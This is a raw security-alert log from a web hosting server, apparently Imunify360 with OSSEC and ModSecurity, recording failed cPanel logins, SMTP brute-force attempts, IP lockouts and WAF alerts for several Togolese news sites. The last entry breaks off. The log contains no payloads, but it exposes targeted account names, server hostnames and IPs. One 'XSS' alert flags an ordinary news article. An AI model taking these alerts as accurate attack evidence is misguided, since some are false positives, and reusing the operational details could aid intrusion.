[2026-06-26 18:03:16 +0000] info [cpaneld] 196.207.227.15 - bi "GET /login/?login_only=1&user=bi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bi (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:03:28 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:03:30 dovecot_login authenticator failed for H=(vXqIYyxa) [107.150.117.171]:51481: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:04:29 dovecot_login authenticator failed for H=(gQMEQQ) [107.150.117.171]:61733: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:04:27 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:05:23 dovecot_login authenticator failed for H=(zEYXaZ7gv) [107.150.117.171]:56974: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.36.220.66
country_id: 3865483
description:
[2026-06-26 18:05:24 +0000] info [cpaneld] 138.36.220.66 - ortouch "GET /login/?login_only=1&user=ortouch&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ortouch (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.141.177.226
country_id: 1733045
description:
[2026-06-26 18:05:31 +0000] info [cpaneld] 175.141.177.226 - ortouc "GET /login/?login_only=1&user=ortouc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ortouc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.5.223.232
country_id: 1605651
description:
[2026-06-26 18:05:34 +0000] info [cpaneld] 171.5.223.232 - ortou "GET /login/?login_only=1&user=ortou&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ortou (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 131.255.130.129
country_id: 3469034
description:
[2026-06-26 18:05:40 +0000] info [cpaneld] 131.255.130.129 - orto "GET /login/?login_only=1&user=orto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user orto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.154.168.141
country_id: 3469034
description:
[2026-06-26 18:05:43 +0000] info [cpaneld] 177.154.168.141 - ort "GET /login/?login_only=1&user=ort&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ort (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.132.185.170
country_id: 1210997
description:
[2026-06-26 18:05:50 +0000] info [cpaneld] 103.132.185.170 - or "GET /login/?login_only=1&user=or&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user or (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.199.153
country_id: 3658394
description:
[2026-06-26 18:05:16 +0000] info [cpaneld] 157.100.199.153 - ortouche "GET /login/?login_only=1&user=ortouche&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ortouche (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:05:21 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:06:15 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:06:17 dovecot_login authenticator failed for H=(7Phr2tWInA) [107.150.117.171]:54628: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.162.96
country_id: 6252001
description:
2026-06-26 18:06:21 H=([64.89.162.96]) [64.89.162.96]:63660 F=<dpr@priv8shop.com> rejected RCPT <\jerryhopper00100@proton.com>: Sender verify failed


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:06:40 dovecot_login authenticator failed for H=(FPWH5vo0j) [107.150.117.171]:63282: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:07:14 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:07:16 dovecot_login authenticator failed for H=(w1iKIiR) [107.150.117.171]:51538: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:08:18 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:08:20 dovecot_login authenticator failed for H=(GERsWqQ) [107.150.117.171]:64170: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:09:12 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:09:14 dovecot_login authenticator failed for H=(mAMEhtW0q) [107.150.117.171]:61254: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:10:13 dovecot_login authenticator failed for H=(iS2vsD1UI3) [107.150.117.171]:49619: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:10:11 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.81.236
country_id: 3077311
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.253.81.236||TA:104.253.81.236||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:11:18 dovecot_login authenticator failed for H=(AtdT4EPqw) [107.150.117.171]:53550: 535 Incorrect authentication data (set_id=anamek)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.74.115.217
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:216.74.115.217||TA:216.74.115.217||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:11:41 dovecot_login authenticator failed for H=(tNI5Aj0) [107.150.117.171]:52030: 535 Incorrect authentication data (set_id=anamek)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 181.50.255.198
country_id: 3686110
domain: tchambainvest.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:60170.tchambainvest.tg||ServerName:tchambainvest.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a4239cc115e1c2f96a9a6814fa47619c9d9f01c9||Title:0x847cfe1a||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:12:23 dovecot_login authenticator failed for H=(nRJqAX) [107.150.117.171]:60719: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:12:39 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:13:17 dovecot_login authenticator failed for H=(OhG8hz) [107.150.117.171]:63004: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.125.164.147
country_id: 3865483
description:
186.125.164.147 - - [26/Jun/2026:18:13:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196331&pdata=https%253A%252F%252Fcfpj.tg%252Fyedk-104401zetidm19lez.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782497633 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/yedk-104401zetidm19lez.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.125.164.147


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:13:15 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:14:29 dovecot_login authenticator failed for H=(9fWDqUT) [107.150.117.171]:58658: 535 Incorrect authentication data (set_id=anamek)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 52.221.211.206
country_id: 1880251
domain: www.togosnb.snb.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/1.sql||User:bighostingsnbd||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:14:27 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:15:26 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.71.147.128
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/fii-europe-2026-le-togo-renforce-ses-liens-economiques-avec-larabie-saoudite/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.217.219.198
country_id: 3996063
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/fii-europe-2026-le-togo-renforce-ses-liens-economiques-avec-larabie-saoudite/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:15:28 dovecot_login authenticator failed for H=(5T7NoIX) [107.150.117.171]:61599: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-06-26 18:15:46 dovecot_login authenticator failed for H=([203.185.199.72]) [182.95.228.194]:43640: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:15:51 dovecot_login authenticator failed for H=(TflAIdnl) [107.150.117.171]:56286: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:16:25 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:16:27 dovecot_login authenticator failed for H=(Pgry4cj7WV) [107.150.117.171]:50146: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.164.223.155
country_id: 2921044
description:
104.164.223.155 - - [26/Jun/2026:18:16:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13069419&pdata=https%253A%252F%252Flibertetogo.tg%252Findex.php%252Fpour-une-dette-vieille-de-5-ans-un-jeune-homme-meurt-sous-des-tortures-a-la-brigade-dagbatitoe-dans-le-haho%252Fsociete%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782497784 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg/index.php/pour-une-dette-vieille-de-5-ans-un-jeune-homme-meurt-sous-des-tortures-a-la-brigade-dagbatitoe-dans-le-haho/societe/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.8181.1733 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.164.223.155


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 85.59.54.34
country_id: 2510769
description:
85.59.54.34 - - [26/Jun/2026:18:16:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750422&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F06%252F26%252Felectricite-33-338-personnes-a-raccorder-dans-la-region-des-plateaux-en-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782497809 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/06/26/electricite-33-338-personnes-a-raccorder-dans-la-region-des-plateaux-en-2026/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.4550.1399 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:85.59.54.34


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:17:19 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:17:21 dovecot_login authenticator failed for H=(k3Fdj6n8Pn) [107.150.117.171]:53257: 535 Incorrect authentication data (set_id=anamek)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>conform\xc3\xa9ment aux dispositions des articles 107 \xc3\xa0 110 du r\xc3\xa8glement int\xc3\xa9rieur de l\xe2\x80\x99assembl\xc3\xa9e nationale, le ministre d\xc3\xa9l\xc3\xa9gu\xc3\xa9 aupr\xc3\xa8s du ministre de l\xe2\x80\x99\xc3\xa9conomie, charg\xc3\xa9 de l\xe2\x80\x99\xc3\xa9nergie et des ressources mini\xc3\xa8res, robert koffi messan eklo, \xc3\xa9tait devant la repr\xc3\xa9sentation nationale, ce vendredi 26 juin 2026, dans le cadre d\xe2\x80\x99une question orale avec d\xc3\xa9bat relative aux d\xc3\xa9lestages et aux coupures d\xe2\x80\x99\xc3\xa9lectricit\xc3\xa9.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c\xe2\x80\x99\xc3\xa9tait au cours de la 5\xe1\xb5\x89 s\xc3\xa9ance pl\xc3\xa9ni\xc3\xa8re de la 1\xca\xb3\xe1\xb5\x89 session ordinaire de l\xe2\x80\x99ann\xc3\xa9e, pr\xc3\xa9sid\xc3\xa9e par le professeur komi selom klassou, pr\xc3\xa9sident de l\xe2\x80\x99assembl\xc3\xa9e nationale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette interpellation a \xc3\xa9t\xc3\xa9 port\xc3\xa9e par l\xe2\x80\x99honorable hessou passiw\xc3\xa8, vice-pr\xc3\xa9sident de la commission agropastorale, de l\xe2\x80\x99am\xc3\xa9nagement du territoire et du d\xc3\xa9veloppement local. le d\xc3\xa9put\xc3\xa9 a attir\xc3\xa9 l\xe2\x80\x99attention du gouvernement sur la multiplication des d\xc3\xa9lestages et des coupures d\xe2\x80\x99\xc3\xa9lectricit\xc3\xa9 observ\xc3\xa9s ces derniers mois dans plusieurs localit\xc3\xa9s, y compris \xc3\xa0 lom\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>il a demand\xc3\xa9 des explications sur les causes de ces perturbations, les mesures prises pour en limiter les impacts ainsi que les solutions structurelles envisag\xc3\xa9es pour garantir un approvisionnement \xc3\xa9lectrique durable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31402,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_bandeau-renseignements.jpg\" alt=\"\" class=\"wp-image-31402\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>le gouvernement \xc3\xa9voque la baisse des importations d\xe2\x80\x99\xc3\xa9lectricit\xc3\xa9</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans sa r\xc3\xa9ponse, le ministre d\xc3\xa9l\xc3\xa9gu\xc3\xa9 robert koffi messan eklo a expliqu\xc3\xa9 que les d\xc3\xa9lestages r\xc3\xa9sultent principalement d'une baisse significative des importations d'\xc3\xa9lectricit\xc3\xa9 en provenance du ghana et du nig\xc3\xa9ria. alors que la demande nationale atteint environ 360 m\xc3\xa9gawatts aux heures de pointe, le togo ne dispose que d'environ 180 m\xc3\xa9gawatts de production nationale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les importations, qui s'\xc3\xa9levaient habituellement \xc3\xa0 110 m\xc3\xa9gawatts en provenance du ghana et 115 m\xc3\xa9gawatts du nig\xc3\xa9ria, sont tomb\xc3\xa9es \xc3\xa0 certains moments \xc3\xa0 20 m\xc3\xa9gawatts et 70 m\xc3\xa9gawatts respectivement, cr\xc3\xa9ant un d\xc3\xa9ficit de puissance qui explique les d\xc3\xa9lestages observ\xc3\xa9s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le ministre a pr\xc3\xa9cis\xc3\xa9 qu'il convient de distinguer les d\xc3\xa9lestages dus \xc3\xa0 l'insuffisance de la puissance disponible des coupures techniques li\xc3\xa9es \xc3\xa0 des incidents sur le r\xc3\xa9seau, aux travaux de maintenance ou encore aux intemp\xc3\xa9ries. il a \xc3\xa9galement relev\xc3\xa9 que les fortes chaleurs accentuent la consommation d'\xc3\xa9lectricit\xc3\xa9, notamment pendant les heures de pointe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>des mesures imm\xc3\xa9diates pour renforcer l\xe2\x80\x99offre \xc3\xa9lectrique</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>face \xc3\xa0 cette situation, le gouvernement a engag\xc3\xa9 plusieurs actions. un premier groupe de production de 20 m\xc3\xa9gawatts est d\xc3\xa9j\xc3\xa0 en service depuis 2025 et un second groupe de m\xc3\xaame capacit\xc3\xa9 sera mis en exploitation tr\xc3\xa8s prochainement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>des discussions sont \xc3\xa9galement men\xc3\xa9es avec les fournisseurs d'\xc3\xa9lectricit\xc3\xa9 et de gaz afin de s\xc3\xa9curiser les approvisionnements \xc3\xa9nerg\xc3\xa9tiques du pays. parall\xc3\xa8lement, le gouvernement poursuit le d\xc3\xa9veloppement des \xc3\xa9nergies renouvelables avec la mise en service prochaine de la centrale solaire de dapaong, d'une capacit\xc3\xa9 de 25 m\xc3\xa9gawatts-cr\xc3\xaate, coupl\xc3\xa9e \xc3\xa0 un syst\xc3\xa8me de stockage de 40 m\xc3\xa9gawattheures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le ministre a \xc3\xa9galement invit\xc3\xa9 les m\xc3\xa9nages, les entreprises et les industries \xc3\xa0 adopter des comportements d'efficacit\xc3\xa9 \xc3\xa9nerg\xc3\xa9tique afin de r\xc3\xa9duire la consommation durant les p\xc3\xa9riodes de forte demande.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"570px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:570px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>une strat\xc3\xa9gie de long terme pour renforcer la souverainet\xc3\xa9 \xc3\xa9nerg\xc3\xa9tique</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au-del\xc3\xa0 des mesures d'urgence, le gouvernement met en \xc5\x93uvre le pacte \xc3\xa9nerg\xc3\xa9tique togo horizon 2030 afin de renforcer durablement la s\xc3\xa9curit\xc3\xa9 \xc3\xa9nerg\xc3\xa9tique du pays. le ministre a rappel\xc3\xa9 que la souverainet\xc3\xa9 \xc3\xa9nerg\xc3\xa9tique repr\xc3\xa9sente un investissement consid\xc3\xa9rable, chaque m\xc3\xa9gawatt suppl\xc3\xa9mentaire n\xc3\xa9cessitant pr\xc3\xa8s d'un million de dollars, auxquels s'ajoutent les co\xc3\xbbts de renforcement du r\xc3\xa9seau.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>il a \xc3\xa9galement indiqu\xc3\xa9 que les tensions sur le march\xc3\xa9 mondial compliquent l'acquisition de nouveaux \xc3\xa9quipements. la forte demande g\xc3\xa9n\xc3\xa9r\xc3\xa9e par le d\xc3\xa9veloppement de l'intelligence artificielle, conjugu\xc3\xa9e aux perturbations provoqu\xc3\xa9es par les conflits dans le golfe, rallonge les d\xc3\xa9lais de livraison des installations de production \xc3\xa9lectrique.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le gouvernement pr\xc3\xa9voit ainsi la construction d'une centrale thermique de 120 m\xc3\xa9gawatts \xc3\xa0 lom\xc3\xa9, tout en acc\xc3\xa9l\xc3\xa9rant le d\xc3\xa9veloppement des \xc3\xa9nergies renouvelables avec les centrales solaires de sokod\xc3\xa9 (60 m\xc3\xa9gawatts-cr\xc3\xaate) et awandj\xc3\xa9lo (42 m\xc3\xa9gawatts-cr\xc3\xaate), l'extension de la centrale de blitta de 30 m\xc3\xa9gawatts-cr\xc3\xaate suppl\xc3\xa9mentaires avec 10 m\xc3\xa9gawattheures de stockage, ainsi que la r\xc3\xa9alisation d'un projet de centrale hydro\xc3\xa9lectrique \xc3\xa0 transfert d'\xc3\xa9nergie par pompage \xc3\xa0 kpim\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ce projet permettra de porter la capacit\xc3\xa9 du site de 2 m\xc3\xa9gawatts \xc3\xa0 60 m\xc3\xa9gawatts gr\xc3\xa2ce \xc3\xa0 une centrale solaire de 100 m\xc3\xa9gawatts destin\xc3\xa9e \xc3\xa0 pomper l'eau durant la journ\xc3\xa9e avant de produire de l'\xc3\xa9lectricit\xc3\xa9 pendant les heures de pointe. \xc3\x80 terme, ces projets devraient porter les capacit\xc3\xa9s solaires nationales \xc3\xa0 pr\xc3\xa8s de 400 m\xc3\xa9gawatts-cr\xc3\xaate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le ministre a \xc3\xa9galement annonc\xc3\xa9 le d\xc3\xa9ploiement progressif de batteries de grande capacit\xc3\xa9 sur des points strat\xc3\xa9giques du r\xc3\xa9seau afin d'am\xc3\xa9liorer la stabilit\xc3\xa9 de l'alimentation \xc3\xa9lectrique et d'att\xc3\xa9nuer les effets des microcoupures, notamment dans les zones industrielles et les centres administratifs. la modernisation et le renforcement du r\xc3\xa9seau de transport et de distribution constituent \xc3\xa9galement un axe majeur de cette strat\xc3\xa9gie.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31459,\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_payez-la-tvm-simple-et-pratique.jpg\" alt=\"\" class=\"wp-image-31459\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>l\xe2\x80\x99assembl\xc3\xa9e nationale appelle \xc3\xa0 acc\xc3\xa9l\xc3\xa9rer les investissements</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au terme de ces questions orales avec d\xc3\xa9bat, les d\xc3\xa9put\xc3\xa9s ont marqu\xc3\xa9 leur satisfaction \xc3\xa0 l\xe2\x80\x99\xc3\xa9gard des explications apport\xc3\xa9es par le gouvernement. le pr\xc3\xa9sident de l\xe2\x80\x99assembl\xc3\xa9e nationale, le professeur komi selom klassou, a salu\xc3\xa9 la qualit\xc3\xa9 des explications fournies par le gouvernement, les efforts d\xc3\xa9j\xc3\xa0 consentis et exhort\xc3\xa9 l\xe2\x80\x99ex\xc3\xa9cutif \xc3\xa0 poursuivre les actions engag\xc3\xa9es afin de mettre fin aux d\xc3\xa9lestages intempestifs auxquels les togolais sont confront\xc3\xa9s depuis plusieurs mois.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>il a rappel\xc3\xa9 que l'acc\xc3\xa8s \xc3\xa0 une \xc3\xa9lectricit\xc3\xa9 fiable constitue un levier essentiel de d\xc3\xa9veloppement \xc3\xa9conomique, d'am\xc3\xa9lioration des conditions de vie des populations et de comp\xc3\xa9titivit\xc3\xa9 des entreprises.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>an</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em> </em></strong><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:18:18 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
